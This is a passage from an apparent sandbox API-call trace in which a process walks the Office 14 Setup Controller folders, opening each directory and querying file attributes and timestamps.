ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.330] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0237.330] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0237.330] GetLastError () returned 0x12 [0237.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0237.330] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0237.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0237.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0237.330] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0237.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0237.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0237.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0237.333] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0237.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0237.333] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0237.333] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0237.333] NtClose (Handle=0x1b4) returned 0x0 [0237.333] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0237.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0237.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0237.334] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0237.334] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.334] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0237.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908ed8 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a0c0 [0237.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.334] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908ef8 [0237.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a1c8 [0237.334] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0237.335] GetLastError () returned 0x12 [0237.335] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0237.335] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0237.335] GetLastError () returned 0x12 [0237.335] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0237.335] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0237.335] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0237.335] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0237.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0237.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0237.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0237.463] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0237.464] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0237.464] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0237.464] NtClose (Handle=0x1b8) returned 0x0 [0237.464] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0237.464] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0237.464] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0237.464] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.464] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.464] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.464] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0237.464] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0237.464] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908f18 [0237.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a2d0 [0237.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.465] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0237.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0237.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908f38 [0237.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90a3d8 [0237.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0237.465] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0237.465] GetLastError () returned 0x12 [0237.465] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0237.465] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0237.465] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.465] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0237.465] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0237.465] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0237.465] GetLastError () returned 0x12 [0237.465] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0237.465] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0237.466] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0237.466] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0237.466] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0237.466] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0237.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0238.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0238.584] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0238.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0238.584] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0238.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0238.584] NtClose (Handle=0x1b4) returned 0x0 [0238.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0238.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0238.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0238.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0238.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0238.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0238.585] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0238.585] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.585] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | 